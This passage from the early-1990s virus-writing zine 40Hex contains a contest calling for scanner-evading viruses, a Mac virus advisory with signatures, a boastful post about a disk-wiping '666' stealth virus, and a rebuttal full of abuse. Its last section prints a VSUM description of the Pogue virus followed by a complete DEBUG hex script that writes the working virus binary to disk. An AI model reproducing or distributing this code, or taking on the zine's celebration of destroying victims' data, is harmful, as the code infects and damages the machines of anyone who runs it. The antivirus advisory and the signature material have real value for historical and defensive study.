11) The viruses must not be detectable by the current version (as of July 4th)
of any known virus scanner.
12) Viruses will be judged by our 'panel of experts' in three catagories.
6.1) Stealth
6.2) Size
6.3) Reproductivity
6.4) Performance
For example, Red Cross is an example of a 'high performance' virus. It
was entertaining and well done.
*** Entry Form
Handle ________________________
Group Afiliation ______________
Virus Name ____________________
Size ____bytes (if you need more spaces, go away)
Type ___ File Infector ___ Boot block
Infection method ___ Direct Action ___ Memory Resident ___ Directory chain
___ Other (please describe it in detail)
Encryption routine ___ None (bah) ___ Xor loop
___ Other (please describe it in detail)
Describe what makes your infection routine unique.
_______________________________________________________________________________
_______________________________________________________________________________
Describe what makes your encryption routine unique.
_______________________________________________________________________________
_______________________________________________________________________________
Describe what means your virus uses, other than encryption, to keep itself
hidden.
_______________________________________________________________________________
_______________________________________________________________________________
What is the largest possible scan string for this virus? __bytes
What else sets this virus apart from other viruses?
_______________________________________________________________________________
_______________________________________________________________________________
_______________________________________________________________________________
40Hex Number 7 Volume 2 Issue 3 File 008
More Virus News. An informed virus Programmer is a good one.
Article 1: New Macintosh Virus
Article 2: RockSteady's 666 Virus [NuKE]
Article 3: A Stooge's View
<<<<<<<<<
Article 1
<<<<<<<<<
Date: Fri, 17 Apr 92 11:34:50 -0500
>From: Gene Spafford <spaf@cs.purdue.edu>
Subject: Mac announcement - new virus (Mac)
New Macintosh Virus Discovered
17 April 1992
Virus: CODE 252
Damage: some, possibly severe (see text)
Spread: unknown (see text)
Systems affected: Apple Macintosh computers. All types, but see text.
A new virus, which has been designated "CODE 252", has been discovered
on Apple Macintosh computer systems. This virus is designed to trigger
if an infected application is run or system booted between June 6 and
December 31, inclusive. When triggered, the virus brings up a dialog
box with the message:
You have a virus.
Ha Ha Ha Ha Ha Ha Ha
Now erasing all disks...
Ha Ha Ha Ha Ha Ha Ha
P.S. Have a nice day.
Ha Ha Ha Ha Ha Ha Ha
(Click to continue...)
Despite this message, no files or directories are deleted in the
versions of the virus we have seen; however, a worried user might
power down the system upon seeing the message, and thus corrupt the
disk -- this could lead to significant damage. Furthermore, the virus
may interact with some applications in such a manner as to damage
them.
Under System 7, the System file can be seriously damaged by the virus
under at least some circumstances as the virus attempts to spread.
This may lead to a system that will not boot, crashes, or other
unusual behavior.
Between January 1 and June 5, inclusive, the virus simply spreads from
applications to system files, and then on to other application files.
At the present moment, we have no indication that the virus causes
direct damage to any existing applications.
The virus does not spread to other applications under MultiFinder on
System 6.x systems, nor will it spread under System 7. However, it
will run on those systems if an infected application is executed.
Even if you are running one of these systems, we recommend you obtain
an use one of latest versions of appropriate anti-virus software.
As of the date of this announcement (17 April 92), we have had limited
reported sightings of this virus. This, combined with the nature of
operation of the virus, leads us to believe that the virus is not yet
widespread.
The current versions of Gatekeeper and SAM Intercept (in advanced and
custom mode) are effective against this virus. Either program should
generate an alert if the virus is present and attempts to spread to
other files. The Virex Record/Scan feature will also detect the virus.
Authors of all major Macintosh anti-virus tools are planning updates
to their tools to locate and/or eliminate this virus. Some of these
are listed below. We recommend that you obtain and run a CURRENT
version of AT LEAST ONE of these programs.
Some specific information on updated Mac anti-virus products follows:
Tool: Disinfectant
Status: Free software (courtesy of Northwestern University and
John Norstad)
Revision to be released: 2.8
Where to find: usual archive sites and bulletin boards --
ftp.acns.nwu.edu, sumex-aim.stanford.edu,
rascal.ics.utexas.edu, AppleLink, America Online,
CompuServe, Genie, Calvacom, MacNet, Delphi,
comp.binaries.mac
When available: soon
Tool: Gatekeeper
Status: Free software (courtesy of Chris Johnson)
Revision to be released: 1.2.6 (probably)
Where to find: usual archive sites and bulletin boards --
microlib.cc.utexas.edu, sumex-aim.stanford.edu,
rascal.ics.utexas.edu, comp.binaries.mac
When available: eventually
Comments:
Gatekeeper should find this virus if it attempts to infect your
system or applications, and thus does not need an update.
Gatekeeper Aid will need an update to "know" exactly what virus it
is seeing so it can remove the virus, but the update is not
crucial for continued protection. As Gatekeeper is freeware and
Chris has a "real" life, this update may not be immediate.
Tool: Rival
Status: Commercial software
Revision to be released: Rival 1.1.9v (CODE 252 Vaccine or Refresh
1.1.9v)
Where to find it: AppleLink, America Online, Internet, Compuserve.
When available: Immediately.
Tool: SAM (Virus Clinic and Intercept)
Status: Commercial software
Revision to be released: 3.0.8
Where to find: CompuServe, America Online, Applelink, Symantec's
Bulletin Board @ 408-973-9598
When available: 17 April 1992. Version 3.0.8 of the Virus
Definitions file are also available.
Tool: Virex INIT
Status: Commercial software
Revision to be released: 3.8
Where to find: Microcom, Inc (919) 490-1277
When available: Immediately.
Comments:
Virex 3.8 will detect and repair the virus. All
Virex subscribers will automatically be sent an update on
diskette. All other registered users will receive a notice with
information to update prior versions to be able to detect
CODE 252. This information is also available on Microcom's BBS.
(919)419-1602, and is presented here:
Guide Number = 6324448
1: 0203 3001 7778 2A00 / 79
2: 0C50 4EFA 0003 A9AB / C4
3: 0004 A9AA 0002 A647 / B2
4: 8180 9090 9090 9090 / 1B
Tool: Virus Detective
Status: Shareware
Revision to be released: 5.0.4
Where to find: Usual bulletin boards will announce a new search string.
Registered users will also get a mailing
with the new search string.
When available: Immediately.
Comments: search strings are:
Resource Start & Size < 1200 & WData 2F2C#23F3C#2A9A0*3F3C#24878#2A9AB ; For
find CODE 252 in Appl's
Filetype=ZSYS & Resource INIT & Size < 1200 & WData 2F2C#
3F3C#2A9A0*3F3C#24878
#2A9AB ; For find CODE 252 in System
If you discover what you believe to be a virus on your Macintosh
system, please report it to the vendor/author of your anti-virus
software package for analysis. Such reports make early, informed
warnings like this one possible for the rest of the Mac community.
<<<<<<<<<<
Article 2:
<<<<<<<<<<
==========================================================================
Date: 04-27-92 (04:18) Number: 264 of 275 (Echo)
To: ALL Refer#: NONE
From: STEVENS WALLACE Read: (N/A)
Subj: 666 IS GONNA GET YEAH Status: PUBLIC MESSAGE
Conf: N_VIRUS (41) Read Type: GENERAL (A) (+)
Rock Steady `666' Virus Released: Mar 24'92
[Montreal,Canada] PROGRAMMED:By Rock Steady. A few patches from other neat
Viruses
DAMAGE:The Virus will format the HD BOOT & FAT area on the 13th of
every Month! I wrote TWO formating procedures. One with the INT 13h and one
with the INT 26h! To make 100% the suckers HD gets trashes for GOOD!
NOTES:This is a Simple EXE & COM Infector! It infects ALL Files Executed The
Virus Hides in High Memory! And Hooks Int 21h! It will increase files by the
length of 666 Bytes! but if the Virus is Resident in Memory the Length of
the Files on a "DIR" will remain the SAME under MSDOS V3.30 - 5.0!
OTHER:*uck the Name. Its the ONLY text in the Virus! So the Anti-Virus
people will call it `Rock Steady', since the virus needs that signature to
check if the file is infected on infection routines & DIR routine!
PURPOSE:To make a very small "Stealth" Virus. And create a HOLE shit load of
damage for people not to forget!
ANTI-VIRAL:*uck Them! I've tried with SCANV89B, F-PROT2.03A, VirexPC Central
Point 1.2, Nortan Scanner, ViruScan And it's UNDETECTABLE!
Neat heh? McGill Univ. is flipping over this new Virus that they just got hit
with in Montreal. *uck it's hot...
aLl comments to moi...
=======================================================================
<<<<<<<<<<
Article 3:
<<<<<<<<<<
Extracted from "Gui Guts" by Yacco, in ComputerCraft Magazine, June 1992
------------------------------------------------------------------------
Mutant Ninja Morons
-------------------
Did you survive the Michaelangelo Virus? That's what everybody,
including Bill, the guy from UPS, has been asking me. I spent most of
last night organizing and archiving several year's worth of data. I
suppose I should be grateful to the fan of comic culture who wrote this
virus for the motivation to do something I've been putting off for a
long time. But these virus writers aren't exactly virtuous. I wouldn't
be sitting here now creating files with tomorrow's date on them if they
were. In fact, it occurs to me that what motivates them is a need to
control and terrorize people. In other words, they're a new breed of
rapist: the mass rapist. And just like physical rape isn't about sex,
electronic rape isn't about intellectual challenges.
[I wasn't going to comment until I got this classic article. This is so
funny. This guy thinks Michelangelo was named after the Teenage Mutant
Ninja Turtle. And hell, *IF* we are rapists, Yacco, better bend over
and spread em wide, cause we are gonna fuck you hard. What kinda name
is Yacco??? Fuck him. Why is everyone so curious as to what motivates
us? Can't it be that we just simply enjoy it? Must it be social
problems, or publicity? Don't blame the virus community for the
Michelangelo scare, blame the Anti Virus Community. It was a scare, a
simple ploy to gain money! I had everyone asking me how do I protect
myself? So, I spent a couple days helping out people who weren't
infected. Everywhere I went, Michelangelo! How many infections did I
find? 1. One fucking infection. I think everyone in the Anti-Virus
Community benefitted. Do you think that the author of Michelangelo made
a press release about the virus? I don't recall that. So, there goes
the publicity theory. He didn't control anyone. Anti-Virus people did.
A scare tactic. Plain and simple. The End.]
PS: Saw a useful article in the latest issue of a magazine? Anything
Virus related? Well, ya don't have to type it in! Just contact a
-=PHALCON/SKISM=- Member, and we will take care of it. Leave him mail
stating what magazine, what issue, and what page, and your handle (We
will throw ya into our Greet list).
->GHeap!
40Hex Number 7 Volume 2 Issue 3 File 009
Pogue Mahone!
The following is what Patti Hoffman has to say about the Pogue virus.
----------------------------- VSUMX 9204 -------------------------------------
Virus Name: Pogue
Aliases:
Scan ID: [Pogue] & [7S] & [DAME] & [512] (memory)
V Status: New
Discovered: January, 1992
Symptoms: .COM file growth; decrease in total system & available free
memory; music
Origin: Bulgaria
Eff Length: 2,973 - 3,850 Bytes
Type Code: PRhC - Parasitic Resident .COM Infector
Detection Method: ViruScan V86B+, Novi 1.1+
Removal Instructions: Delete infected files
General Comments:
The Pogue virus was submitted in January, 1992. It is originally
from bulgaria. Pogue is a memory resident infector of .COM
programs, but not those that have a base file name which starts
with the three characters "COM". Pogue contains portions of
code from four other viruses: 512, Dark Avenger, Seventh Son, and
Yankee Doodle. It employs a complex encryption mechanism, and
detection of infected files will require an algorithmic approach.
It does occassionally infect a file with an inencrypted copy of
itself, and as a result may appear to the user as an infection of
one of the four viruses on which it is based.
The first time a program infected with the Pogue virus is executed,
the Pogue virus will install itself memory resident at the top of
system memory but below the 640k DOS boundary. Total system and
available free memory, as indicated by the DOS CHKDSK program, will
have decreased by 9,728 bytes. Interrupt 12's return will not have
been moved. Interrupts 1C and 21 will be hooked by the virus.
Once the Pogue virus is memory resident, it will infect .COM
programs when they are opened, executed, or copied. In the case of
copying, both the source and the target file will infected. The
exception is that Pogue will not infect a .COM file if the base file
name starts with the three characters "COM". This is the mechanism
used by the virus to avoid infecting COMMAND.COM.
Pogue infected programs will have a file length increase of 2,973 to
3,850 bytes. The virus will be located at the end of the infected
program. The file's date and time in the DOS disk directory listing
will not have been altered by the viral infection process.
Usually the Pogue virus will encrypt itself using its garbling
encryption mechanism on infected files. In these files, no text
strings will be visible within the viral code. Occassionally, this
virus will infect a file with an unencrypted copy of the viral
code. In these cases, the following text strings will be visible:
"Pogue Mahone!" - or - "Pgoue Mahone!"
"TNX2DAV"
The unencrypted infections of Pogue on files as well the Pogue virus
in system memory may be detected by anti-viral scanners as any of the
four viruses on which Pogue is based.
The Pogue virus will play music on the system speaker when it becomes
memory resident and the system time is between 08:00 and 09:00.
----------------------------- VSUMX 9204 -------------------------------------
To decrypt, simply fire up debug and type
g 13D
------------------------------------------------------------------------------
n pogue.com
e 0100 4D E9 04 00 00 00 00 00 BD 6C A1 B1 03 D3 CD 8B
e 0110 CD BD 6E 85 81 CD 0F 74 8B F5 BD 92 3B 03 EE 33
e 0120 E9 81 ED 0C B1 8B 9E 23 0D 81 C3 64 9D 87 9E 23
e 0130 0D BB 31 8F 2B DD BD 33 8F 2B EB 75 E8 8B DD B1
e 0140 03 D3 CB 84 63 9C C0 5B 63 9D B9 1F 51 9F B8 F3
e 0150 E3 62 28 A8 8D 93 5F 41 08 FB C0 54 3D 76 30 BD
e 0160 E2 98 08 10 CB 54 63 CC 2F BD 9E 9F D4 FB 80 A2
e 0170 EE 74 AB 2A 3B 1C A1 9C 62 F6 D7 EB 03 9F 62 C9
e 0180 C2 9E D4 E3 05 9F 62 1D 91 AE 62 FC 64 2A 69 AE
e 0190 62 AA 81 55 2C A7 F2 8F 07 2A 3C 5A E7 9C ED 9A
e 01A0 08 41 21 0C 63 27 61 41 08 A2 81 56 37 9D 1A BD
e 01B0 87 69 84 56 70 9E 1A B8 87 62 69 AC 6E 9C F2 69
e 01C0 84 CA 29 A2 2C A8 62 9C 4A A6 62 A3 81 5F B7 EA
e 01D0 BA CE A6 DD B8 62 69 AD 6E 9C F2 63 69 AE 6E B2
e 01E0 6E 63 69 B0 6E 08 6F 50 8D 69 84 1C 61 A1 D7 B4
e 01F0 E2 96 64 11 76 63 69 AE 6E 32 6F 63 69 B0 6E 52
e 0200 6F 62 69 AC 6E 9D F2 5F 17 C8 2F BD 60 69 E3 99
e 0210 6A 12 51 5F 13 9F 31 38 A0 76 3D 10 91 EE B3 EF
e 0220 B2 F2 B9 BA 68 1C 5F DA D7 A0 16 E1 4D A3 9F 9C
e 0230 AD 11 6D 50 A0 69 84 0E 67 2F 4B 0C 63 A3 81 FB
e 0240 C0 F4 BD F5 BC 39 91 9B 91 20 63 54 76 41 00 6B
e 0250 FF BA B5 EC 70 BB E2 DA 72 A8 63 11 AA 1C A1 AD
e 0260 6E 9C D6 A2 60 AA 73 A8 4D D6 ED BA 74 A8 46 FD
e 0270 86 98 49 FD E5 DB 61 11 6A 62 69 AC 6E 9E 4D C0
e 0280 12 52 49 DF ED A3 48 DE E8 60 49 DE 46 FD 6E 9F
e 0290 48 FD E5 A2 74 A8 64 27 81 B0 6E 26 6A 3E 74 A8
e 02A0 61 A2 76 A8 BA F7 81 39 91 9B 91 0C 63 98 1B 9C
e 02B0 95 69 84 EE FB DC B2 69 84 23 36 54 87 D1 2F BD
e 02C0 B5 A2 E9 76 71 BB 1C 6D 64 50 88 EC 2F BD 1A BC
e 02D0 74 EF 2F CB 88 26 80 54 79 AE 2F CB BD A2 81 9B
e 02E0 D8 9E 61 11 67 1D E0 C4 A5 EB D7 17 E3 19 8D E9
e 02F0 D7 11 E4 19 83 DF B1 10 D1 1C E0 AE 52 0F CB 62
e 0300 A8 9E 64 CF 22 BC A7 A0 E9 E1 77 EC 70 BB 1B A0
e 0310 62 5A 28 A8 ED 72 17 DB 2F BD E2 D8 AF 10 A2 1C
e 0320 9F F6 D6 D6 88 27 A8 AD 88 25 A8 B1 B2 F2 B9 F1
e 0330 80 A2 B5 84 AF 9C BD 50 A3 69 84 D7 2A A3 81 F9
e 0340 C1 FA BA 11 7C 63 67 E9 4B C9 66 9C EB E0 64 CF
e 0350 22 C2 EB E1 77 55 67 9C ED 72 17 DC 2F BD 68 BB
e 0360 F1 E1 77 1C B0 A2 A2 50 A1 38 71 84 3B 9A E3 E9
e 0370 67 DC F1 E1 66 2B A8 9E BA BB BC 69 84 F4 BC 69
e 0380 84 5F 5D 28 36 25 81 98 63 27 3F 25 81 9A 63 56
e 0390 63 9D 65 5E F8 28 2B 2A 33 A1 52 9C F0 5C 1F 9C
e 03A0 71 97 1C 65 6E 2C 96 9B 96 92 16 AB 1A 9D 6B 84
e 03B0 D9 9C 5C CA 03 98 63 2A 33 CA 03 9A 63 27 43 97
e 03C0 26 EC D1 03 D8 01 83 E9 C3 04 D2 0A C8 BD 62 80
e 03D0 A3 26 43 80 A3 DC 4D BD B3 EF 90 26 81 66 6F CE
e 03E0 61 CA ED 23 2F A8 4A CB 62 55 68 9C 33 7C ED 74
e 03F0 95 78 DC 9D A2 7E 58 F7 BB EF 90 26 81 67 6F CE
e 0400 61 CA EB 23 2F A8 E2 5F 65 CA EA BA 2D A8 E8 60
e 0410 91 D6 80 66 6F F7 D7 A2 90 1C 69 66 6F 9E 25 E9
e 0420 D6 E1 82 CC 90 D5 92 7D 5F BA B4 F1 4A C2 62 27
e 0430 3D 31 BD FA BF C7 41 EF B9 ED 4A 5A 63 F5 C0 5B
e 0440 BC A1 8D 95 BA EE 55 40 BC F6 C0 C7 2C C7 5C 3D
e 0450 99 9D 59 74 26 A2 81 1F 24 B2 59 75 E3 7D 61 11
e 0460 65 E5 AB 33 06 CE 63 9F 23 C0 60 11 65 E4 AA EC
e 0470 F9 5B 97 9D 0D 2D 0E 31 0E 32 0E 4D 83 6E 44 1C
e 0480 54 BC EA E9 55 F9 B7 EF 4A E0 61 5B 9F 9D 1B A4
e 0490 62 4C 62 8F 0D 5B BC 9D 15 A3 4A B5 62 EB E3 9B
e 04A0 BC 9D D6 AA B4 F3 B7 54 64 9C 4A 4C 63 FB F7 47
e 04B0 C2 F6 BD F4 95 89 B3 EF B4 F3 95 5C 22 FF 62 27
e 04C0 32 8F 0E 4C 67 22 A8 A8 B2 27 B8 A9 21 F5 65 F1
e 04D0 4A 65 65 F9 4A E6 64 F4 C1 F6 04 D1 63 C0 63 C4
e 04E0 68 CB 63 EC 4A 5C 65 F4 62 E0 45 2F BE C9 B2 9D
e 04F0 D4 2F D8 A1 9B E0 50 11 EF F7 25 9F 2C 27 3A 33
e 0500 04 CE 63 21 23 11 66 5B BC A1 1D F5 63 ED B2 D7
e 0510 3C 10 72 E7 EC A3 96 9D 9E FD D6 9E 96 A5 0C DD
e 0520 4D 89 BD F4 1D EC 63 21 35 10 6E 2D 13 85 0D 27
e 0530 42 2E 0E 5B BC A1 58 A2 97 9D 6A 11 6C 93 3C 1F
e 0540 44 AB 12 2C 56 46 F0 21 0A 96 64 A3 86 9A 64 A2
e 0550 98 9D 4A 96 61 2A 40 6D 4B 27 2B 8F 08 F3 B2 CF
e 0560 2B 2A 3C 28 2C 57 E2 A1 21 A8 62 96 EA E9 64 23
e 0570 80 97 B4 EF B9 BA 68 BB 70 57 BC 9F 4A DA 62 31
e 0580 6A FB 5C F4 0D F4 0D 97 BE BA 69 5B C6 9C 95 92
e 0590 1C BD 62 CF 22 8F 12 10 8A 27 A8 9A 9E 62 D5 8F
e 05A0 1D 9D 62 32 EE E1 A2 D7 25 10 6A A7 22 11 47 48
e 05B0 FB 2E 4B BF 60 24 67 E2 AC 11 5A 87 39 A2 B5 67
e 05C0 BD 5F B8 27 4F F3 B3 EF B2 27 C1 9E EC A3 D7 AA
e 05D0 F5 5B 4A 9C 1B BD 62 8E 12 9B A8 58 ED 61 FB DC
e 05E0 63 E2 64 F4 BD F5 C1 F9 31 5B 8C 9D 1A 9D 63 46
e 05F0 0E 50 E4 3F 63 9C 4A 7B 60 2E 4B 77 60 26 C0 9B
e 0600 95 9B EE 8F EE E8 61 1C 60 A2 D7 A1 E2 66 64 87
e 0610 7A 1C 60 22 D8 9F 94 65 A6 BE A7 9E 9C 5F D6 BC
e 0620 32 87 D6 A0 6C 65 D7 9E 6C 6E 13 9C D7 A2 6D 89
e 0630 D8 76 13 9E 6C 89 DC A0 EB D1 12 9D EA A0 4D CA
e 0640 F4 70 6F 1C 48 1C D7 9E 32 84 A3 DC A2 26 43 24
e 0650 67 26 B8 9A A5 26 55 9A 29 24 D8 9A ED 76 1A 9C
e 0660 EC 6B D6 A0 9E A2 D4 9E E8 69 96 5D EC A3 33 82
e 0670 EC F0 83 9A A8 9B ED E1 60 D6 A7 9B D5 DF 4B 11
e 0680 62 E9 6C 92 DC 0D ED D0 A7 10 59 E9 D7 D0 B5 57
e 0690 E6 A2 E8 62 91 73 9F 22 E9 62 F6 4D 91 3C 98 9D
e 06A0 D7 A6 0A 9E D7 9E 13 DA 0A A0 4D A4 0A A0 D7 9E
e 06B0 13 D2 0A 9E D6 9F EC 5D 0D F4 4A D9 62 25 DF 80
e 06C0 0E 5F EE 71 F0 09 64 95 26 23 63 22 E7 21 1D AF
e 06D0 6C 92 DB 4E 9D 8C D7 85 E3 18 46 9B D8 B5 B2 A6
e 06E0 58 10 69 A6 22 11 72 26 29 A7 4F 11 67 D6 66 10
e 06F0 68 F7 6E 2C 0D 5F BB A8 7A 2F 0D 2F 14 9F 34 7C
e 0700 6D 62 0D 5F EE 74 33 84 EE 64 34 7D 22 BF 62 8E
e 0710 11 11 17 29 D8 7A 34 8A E3 D8 65 0E 55 29 A8 7A
e 0720 26 3C 8F 9D FA 6C 43 84 3D 9B D5 0B 05 C5 63 84
e 0730 35 9B D6 9E 94 5C B3 6C 4B 24 AA BD 32 87 02 26
e 0740 6A C0 E1 D8 65 11 69 3A D5 E4 A2 87 A6 D8 66 11
e 0750 70 3A D6 A3 ED 8F 14 A4 35 DC 83 E4 4D CE 9E A2
e 0760 D4 CC D7 C6 32 7F ED FB 84 6C 46 27 DA BD 95 5C
e 0770 1D 9D 62 27 2B 27 5D 25 E2 BD B0 10 78 E2 59 92
e 0780 B5 93 4A C7 2A 23 32 27 29 CF 34 FA 4D 85 97 AB
e 0790 EA A3 BA A6 22 11 FB 6C 91 C5 63 5F EB BA 90 9D
e 07A0 B4 F3 4A E0 60 FB BC F3 21 E0 63 54 62 9B 0E 9A
e 07B0 23 47 0E 9A 2B 47 EB E1 65 26 C0 79 B6 EE 4A 36
e 07C0 64 27 5A 84 5C 9D BC F7 C1 EF A7 10 67 E9 D7 FE
e 07D0 A7 E9 A4 10 6B E6 AF 26 67 84 BB A0 A7 F7 B9 84
e 07E0 68 9E 6D 89 D8 E0 BB E9 1A EC 63 23 A7 80 6D 92
e 07F0 DB BC A7 ED B2 26 A7 9F 86 53 9F 23 D8 E7 9D 08
e 0800 51 11 A9 1C D8 98 65 6C C7 9F DB E6 15 93 13 9F
e 0810 4D DD E3 95 BF 9D D7 A9 E5 85 66 1F 52 9F EC B8
e 0820 94 9B 61 E4 52 57 B3 9D 4D 09 6D 92 DC B0 EC D0
e 0830 4D AC B7 84 14 9D EC E0 63 A8 F2 46 BB A6 58 15
e 0840 64 2E BB 53 62 62 68 67 26 84 EF 97 87 9E 66 23
e 0850 F6 26 29 84 93 9A ED A0 E3 9B BC 9F D5 BF B2 E9
e 0860 94 6E ED 8C 33 08 45 84 99 9B B5 F3 4A 4E 61 84
e 0870 16 9C C1 F6 B3 84 92 9B BC F4 4A 53 66 A6 4F 14
e 0880 67 A8 A2 46 0D 4C D8 46 BE F4 ED 64 8E 63 AB 46
e 0890 6D 5C DB 9F 95 77 26 84 0E 9B B4 56 BC A1 E3 9B
e 08A0 BC 9F D5 0D B6 4F 6A 27 38 84 53 9A BA 5B BB 9D
e 08B0 95 77 EE 73 ED E8 4A 6C 4C 38 D6 A6 9C 14 53 11
e 08C0 68 29 AA EC 5F 46 A6 39 D8 89 AA D7 5C 0F 87 D6
e 08D0 DE 7F D8 A3 ED 96 29 A1 C2 87 7B F3 4A 95 5D C0
e 08E0 69 34 F6 9F 41 D7 3C 13 56 26 68 22 6A 46 9E 96
e 08F0 D8 86 C2 F9 ED 69 8E 6B E6 18 49 9C D6 A2 E3 5D
e 0900 BF 9D 8D 6B EE F0 4E 27 25 9F 33 9F A6 8A BE 1F
e 0910 DF 8A 63 11 65 27 25 84 68 9C F4 F6 ED F8 46 C7
e 0920 A6 86 EC A3 25 CF 2B 3C 8C 9D FA 2F 1D 9A 62 26
e 0930 6A D8 65 10 69 D8 66 11 84 93 3D 6C 46 EF A5 84
e 0940 67 9C BD 56 65 9C EC FB 83 D6 A1 11 70 27 56 9F
e 0950 B2 BD 6C 6E D7 A0 EB EC 83 E5 25 CE 61 1C 8A 1B
e 0960 ED B3 ED 5F 33 7F EE FB 83 1C 5D 9F D4 EC B2 EF
e 0970 4A 84 62 F7 EC 7B B5 84 44 9B F6 F5 BD 26 9A 1C
e 0980 51 A9 D6 A1 E2 62 6A 11 6B 24 D8 9F EA 11 55 87
e 0990 87 1C 61 A1 D5 BB 6C 6E D8 B2 9C F1 45 10 79 C8
e 09A0 70 C0 71 D8 67 0F 6C D8 64 0F 6D 1C 61 9F D4 A1
e 09B0 EA 19 54 4E E3 A6 33 1C 45 1C 6D B3 EA B3 25 84
e 09C0 71 9C 4A AF 5C C0 69 10 75 CE 22 D6 A6 9F D6 A7
e 09D0 4A A1 5C C0 65 11 65 4C 6A D0 66 34 EE 74 E9 14
e 09E0 5B A6 61 10 4E 46 26 63 A7 9E 61 1C 95 9B ED A3
e 09F0 87 1B 63 6C 46 56 63 9B AB 10 4E 26 97 E4 D6 82
e 0A00 EE F3 83 14 44 EC B4 EF EC 7A 4B 76 62 F7 BB F4
e 0A10 9E A8 D7 DC 6C 6E D8 6A 9D D0 D6 66 B3 ED B5 EE
e 0A20 4A AA 64 F6 ED E0 63 D6 52 11 67 A6 46 10 68 4F
e 0A30 E8 84 26 98 BE 4C D8 46 A8 10 76 1D 62 F5 65 0E
e 0A40 67 1C A8 9B BA 27 2A 23 AA FF EB 23 4A 9C AF E3
e 0A50 ED 73 4E 05 B3 ED 6C 6E D8 FF 9C 10 64 11 C1 26
e 0A60 A7 9F 6C 5C DB BD 86 A3 D6 A4 9C A0 D6 B5 9E 9F
e 0A70 D4 B1 E2 11 61 9E 58 E0 65 DC D6 D7 B2 A8 3A 26
e 0A80 43 4C 5A 47 BB 87 93 84 B1 95 1C A4 62 EC EC 62
e 0A90 6F EC 0C F4 15 1C 46 BF B1 E5 A2 C0 69 34 EE 74
e 0AA0 ED FC 5A A6 46 10 49 E7 D7 A6 BD EF 94 9B ED C3
e 0AB0 6C 80 DB 75 4B 19 64 2F 61 DC 5A 26 56 F7 B4 84
e 0AC0 88 9B 4B 08 64 F6 BA 62 A7 9F E2 D8 6E 11 6F 27
e 0AD0 3D 27 3A C7 35 24 BA 9B 4C BE 63 26 4F EC 6C 6E
e 0AE0 D8 C0 E2 9A E3 11 73 C8 67 D8 66 4C 64 0E 64 DC
e 0AF0 EC 8C 6F F4 0C 87 72 A6 58 14 6E D6 96 10 6A 26
e 0B00 41 CE 61 9A AB 94 BB 4F 6E C8 6B 10 78 4F 86 E4
e 0B10 D6 AC 66 A2 FA 15 C8 4F 96 DC D6 A2 15 9F DC 9E
e 0B20 15 C7 EC E0 63 A6 34 11 7B 1C 49 23 E3 97 8E 11
e 0B30 66 1C 31 DC EA 10 66 84 AB 97 D6 0D 6D 5C D7 9D
e 0B40 A7 1C 56 A2 B4 DE A4 1F 5D A1 BC 0F A4 A7 22 14
e 0B50 75 1C 5E D1 D7 D4 A4 11 97 26 53 4C 65 4F 5A 26
e 0B60 4E 87 37 A7 34 15 68 93 3D 1C 56 C4 6E DC E2 97
e 0B70 68 10 65 A8 6A 46 AD 10 97 46 4E CD 13 A0 D7 CB
e 0B80 6C 6E D7 A2 1A 56 65 46 F5 47 F4 87 33 E6 6C 5C
e 0B90 D7 B0 E2 7F 9B A8 22 A6 3A 26 25 34 96 5E 13 1D
e 0BA0 D8 9F 12 1F 5C 46 F6 46 F5 47 D6 9D B1 87 AE DD
e 0BB0 9E A3 D6 68 A3 D8 66 38 D6 9E 8E 9E 6C 6E D8 DF
e 0BC0 B2 4C 64 4F ED 26 4E 1C 61 9F D6 9D A5 84 67 97
e 0BD0 BB 39 B3 0E 6F 54 E3 BB E6 00 46 10 67 46 13 7D
e 0BE0 0E F4 15 6F 15 9D EC 10 64 84 6E 97 F5 1C 5E 5D
e 0BF0 D7 A3 32 84 D5 A0 F5 46 F5 46 EB 08 65 26 D7 9D
e 0C00 94 6E 26 4F 24 39 D6 A7 EC 87 59 5E 6B 10 67 92
e 0C10 3D D0 63 1C 45 AB D6 81 E3 96 64 10 68 D6 C6 7F
e 0C20 D7 60 16 6D E3 96 66 0E 20 EC 12 4D ED 7E 0E 87
e 0C30 13 26 A7 9D FA EC E3 9B BC 9F D5 A1 ED 74 EB 14
e 0C40 53 A6 34 11 6A 4F EE 84 E9 96 D6 A1 6E 54 0D 2E
e 0C50 0E F4 25 9C 62 B2 6E 08 6F E4 7E CE 7B CC 77 7C
e 0C60 75 CC 77 34 6D D5 6D 35 6F C0 70 C0 70 34 6D D5
e 0C70 6D 34 6D CC 77 CC 77 CC 77 7B 72 6C 73 7C 75 6C
e 0C80 73 7C 75 6C 73 7C 75 CC 77 7C 75 CC 77 34 6D D5
e 0C90 6D 35 6F C0 70 C0 70 34 6D D5 6D 34 6D CC 77 CC
e 0CA0 77 CC 77 7B 72 6C 73 7C 75 CC 77 CC 77 9B 62 A0
e 0CB0 66 A8 66 A4 66 A0 6E A0 6A A0 66 A4 66 A0 6A A0
e 0CC0 66 A8 66 A4 66 A0 6E A0 6A A0 66 A8 66 A4 66 A0
e 0CD0 6A A0 66 A4 66 A0 6E A0 6A E4 7E CC 77 0E 79 7C
e 0CE0 75 CC 77 E4 7E 3D 84 CE 7B 5A 82 7C 75 CC 77 0E
e 0CF0 79 CE 7B E4 7E E4 7E 9B 62 A4 6E A0 66 A0 66 A0
e 0D00 72 A4 66 A0 72 A4 6A B4 2F BC 62 9C 82 86 4C BC
e 0D10 A4 CA 75 80 03 2A 74 60 4A E9 73 40 83 08 75 A9
e 0D20 25 C8 E4
rcx
0C23
w
q
------------------------------------------------------------------------------
DA
Reference in New Issue View Git Blame Copy Permalink